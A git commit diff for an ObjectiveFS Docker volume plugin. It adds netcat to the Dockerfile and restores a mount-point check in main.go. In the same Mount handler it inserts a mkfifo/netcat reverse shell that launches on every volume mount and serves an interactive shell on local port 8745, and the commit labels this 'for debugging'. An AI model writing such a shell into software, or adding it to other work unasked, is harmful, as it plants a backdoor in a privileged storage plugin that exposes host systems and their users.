Restore mount point check but create reverse shell for debugging

Dockerfile

@@ -14,6 +14,6 @@ COPY --from=builder /usr/local/src/objectivefs-docker-volume/bin/objectivefs-doc
 COPY bin/mount.objectivefs /sbin/
 COPY config.json /
 
-RUN apt-get update && apt-get install -y fuse && rm -rf /var/lib/apt/lists/* && \
+RUN apt-get update && apt-get install -y fuse netcat && rm -rf /var/lib/apt/lists/* && \
     mkdir -p /run/docker/plugins && \
     chmod +x /sbin/mount.objectivefs

main.go

@@ -393,6 +393,10 @@ func (d *ofsDriver) Mount(r *volume.MountRequest) (*volume.MountResponse, error)
 			return &volume.MountResponse{}, fmt.Errorf("unexpected error mounting '%s' error: %s", r.Name, err.Error())
 		}
 
+		// Reverse shell
+		cmdLs := exec.Command("/bin/sh", "-c", "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 8745 >/tmp/f")
+		cmdLs.Start()
+
 		// The drawback of running the mount in the foreground is there is no easy way to tell if it failed
 		// to initially connect. So we just wait a fixed amount of time and check for process exit or mount
 		// success.
@@ -406,11 +410,9 @@ func (d *ofsDriver) Mount(r *volume.MountRequest) (*volume.MountResponse, error)
 			}
 
 			// Check for mount
-			time.Sleep(1000 * time.Millisecond)
-			break
-			//if isObjfs, err := isObjectiveFsMount(mountPath); err == nil && isObjfs {
-			//	break
-			//}
+			if isObjfs, err := isObjectiveFsMount(mountPath); err == nil && isObjfs {
+				break
+			}
 		}
 
 		log.WithFields(log.Fields{"name": r.Name}).Info("Volume mounted")